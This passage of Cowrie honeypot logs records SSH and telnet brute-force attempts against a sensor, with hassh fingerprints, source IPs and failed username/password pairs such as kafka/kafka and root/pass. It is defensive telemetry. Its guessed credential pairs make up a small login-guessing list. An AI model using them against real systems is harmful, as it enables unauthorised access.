dsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:26.872654Z","src_ip":"192.109.200.78","session":"f2567f58f469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:27.122368Z","src_ip":"192.109.200.78","session":"f2567f58f469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:28.211767Z","src_ip":"192.109.200.78","session":"f2567f58f469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57182,"dst_ip":"10.17.0.5","dst_port":22,"session":"06629d28d908","protocol":"ssh","message":"New connection: 192.109.200.78:57182 (10.17.0.5:22) [session: 06629d28d908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:30.824656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:30.829181Z","src_ip":"192.109.200.78","session":"06629d28d908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:30.915647Z","src_ip":"192.109.200.78","session":"06629d28d908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:31.407396Z","src_ip":"192.109.200.78","session":"06629d28d908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3e13dd80ec","protocol":"telnet","message":"New connection: 206.189.71.75:33476 (159.203.135.109:23) [session: 4f3e13dd80ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:32.314586Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:32.494078Z","src_ip":"192.109.200.78","session":"06629d28d908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57184,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd4ba4cf5e6d","protocol":"ssh","message":"New connection: 192.109.200.78:57184 (10.17.0.5:22) [session: cd4ba4cf5e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:35.077816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:35.082270Z","src_ip":"192.109.200.78","session":"cd4ba4cf5e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:35.163522Z","src_ip":"192.109.200.78","session":"cd4ba4cf5e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:35.409487Z","src_ip":"192.109.200.78","session":"cd4ba4cf5e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.44803309440613,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:36.052857Z","src_ip":"206.189.71.75","session":"cd99bc0a6b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:36.594169Z","src_ip":"192.109.200.78","session":"cd4ba4cf5e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00301861763,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:38.383886Z","src_ip":"202.47.32.235","session":"775c7ccd353c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d7443a7140","protocol":"telnet","message":"New connection: 206.189.71.75:39898 (159.203.135.109:23) [session: 74d7443a7140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:38.865764Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51562,"dst_ip":"10.17.0.5","dst_port":22,"session":"028cb081ae9b","protocol":"ssh","message":"New connection: 192.109.200.78:51562 (10.17.0.5:22) [session: 028cb081ae9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:39.209729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:39.282707Z","src_ip":"192.109.200.78","session":"028cb081ae9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:39.311936Z","src_ip":"192.109.200.78","session":"028cb081ae9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:39.627125Z","src_ip":"192.109.200.78","session":"028cb081ae9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.553844690322876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:39.860453Z","src_ip":"206.189.71.75","session":"5e7b9071fa74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:40.713943Z","src_ip":"192.109.200.78","session":"028cb081ae9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"79027c74d261","protocol":"telnet","message":"New connection: 206.189.71.75:41640 (159.203.135.109:23) [session: 79027c74d261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:40.732610Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":41820,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da14d8d2280","protocol":"telnet","message":"New connection: 206.189.71.75:41820 (159.203.135.109:23) [session: 6da14d8d2280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:41.030340Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42302,"dst_ip":"159.203.135.109","dst_port":23,"session":"42c236839740","protocol":"telnet","message":"New connection: 206.189.71.75:42302 (159.203.135.109:23) [session: 42c236839740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:41.616858Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34654,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ccf90d0f6e7","protocol":"ssh","message":"New connection: 159.203.92.129:34654 (159.203.135.109:22) [session: 3ccf90d0f6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:42.907464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:42.911686Z","src_ip":"159.203.92.129","session":"3ccf90d0f6e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:42.915762Z","src_ip":"159.203.92.129","session":"3ccf90d0f6e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"CONGming2261@#","message":"login attempt [admin/CONGming2261@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:42.925832Z","src_ip":"159.203.92.129","session":"3ccf90d0f6e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51574,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d6f3e97aa3e","protocol":"ssh","message":"New connection: 192.109.200.78:51574 (10.17.0.5:22) [session: 4d6f3e97aa3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:43.349278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:43.353659Z","src_ip":"192.109.200.78","session":"4d6f3e97aa3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:43.441666Z","src_ip":"192.109.200.78","session":"4d6f3e97aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:43.930583Z","src_ip":"159.203.92.129","session":"3ccf90d0f6e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:43.988474Z","src_ip":"192.109.200.78","session":"4d6f3e97aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:45.080292Z","src_ip":"192.109.200.78","session":"4d6f3e97aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45886,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b4ea699ab3","protocol":"telnet","message":"New connection: 206.189.71.75:45886 (159.203.135.109:23) [session: 26b4ea699ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:45.296489Z"}
{"eventid":"cowrie.session.closed","duration":35.155537366867065,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:45.537464Z","src_ip":"206.189.71.75","session":"90e0d7491b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51584,"dst_ip":"10.17.0.5","dst_port":22,"session":"452ac9afc03a","protocol":"ssh","message":"New connection: 192.109.200.78:51584 (10.17.0.5:22) [session: 452ac9afc03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:47.450331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:47.454705Z","src_ip":"192.109.200.78","session":"452ac9afc03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:47.538013Z","src_ip":"192.109.200.78","session":"452ac9afc03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:47.787499Z","src_ip":"192.109.200.78","session":"452ac9afc03a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:48.872330Z","src_ip":"192.109.200.78","session":"452ac9afc03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42340,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c56e3a6a3db","protocol":"ssh","message":"New connection: 192.109.200.78:42340 (10.17.0.5:22) [session: 0c56e3a6a3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:51.615410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:51.620390Z","src_ip":"192.109.200.78","session":"0c56e3a6a3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:51.702018Z","src_ip":"192.109.200.78","session":"0c56e3a6a3db","protocol":"ssh"}
